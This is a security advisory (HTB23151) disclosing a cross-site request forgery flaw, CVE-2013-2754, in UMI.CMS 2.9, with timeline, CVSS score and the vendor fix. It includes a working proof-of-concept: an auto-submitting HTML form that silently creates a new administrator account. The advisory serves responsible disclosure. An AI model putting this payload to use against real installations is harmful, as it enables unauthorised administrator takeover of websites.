Advisory ID: HTB23151
Product: UMI.CMS
Vendor: OOO Umisoft
Vulnerable Version(s): 2.9 and probably prior
Tested Version: 2.9
Vendor Notification: April 3, 2013=20
Vendor Patch: May 7, 2013=20
Public Disclosure: May 8, 2013=20
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2013-2754
Risk Level: Medium=20
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered CSRF vulnerability in UMI=
=2ECMS, which can be exploited to perform Cross-Site Request Forgery (CSRF)=
attacks and create new administrator in the vulnerable application.
1) Cross-site Request Forgery (CSRF) in UMI.CMS: CVE-2013-2754
The application allows authorized administrator to perform certain sensitiv=
e actions via HTTP requests without making proper validity checks to verify=
the source of these HTTP requests. This can be exploited to perform any ac=
tions with administrator privileges, such as adding new administrator to th=
e system.
A remote attacker can create a specially crafted webpage, trick a logged-in=
administrator to open it and create new user with administrative privilege=
s.
A basic CSRF exploit below will create new administrator with "csrfuser" as=
a login and "password" as a password:
<form action=3D"http://[host]/admin/users/add/user/do/" method=3D"post" nam=
e=3D"main">
<input type=3D"hidden" name=3D"data[new][login]" value=3D"csrfuser">
<input type=3D"hidden" name=3D"data[new][password][]" value=3D"password">
<input type=3D"hidden" name=3D"data[new][e-mail]" value=3D"user@mail=
=2Ecom">
<input type=3D"hidden" name=3D"data[new][is_activated]" value=3D"1">
<input type=3D"hidden" name=3D"data[new][fname]" value=3D"username">
<input type=3D"hidden" name=3D"data[new][groups][]" value=3D"1">
<input type=3D"hidden" name=3D"data[new][groups][]" value=3D"2">
<input type=3D"hidden" name=3D"" value=3D"">
<input type=3D"submit" id=3D"btn">
</form>
<script>
document.main.submit();
</script>
---------------------------------------------------------------------------=
--------------------
Solution:
Upgrade to UMI.CMS 2.9 build 21905
Changelog: http://www.umi-cms.ru/support/changelog/ (task number 17390)
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23151 - https://www.htbridge.com/advisory/=
HTB23151 - Cross-Site Request Forgery (CSRF) in UMI.CMS
[2] UMI.CMS - http://umi-cms.ru - UMI.CMS is a fast and scalable content ma=
nagement system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.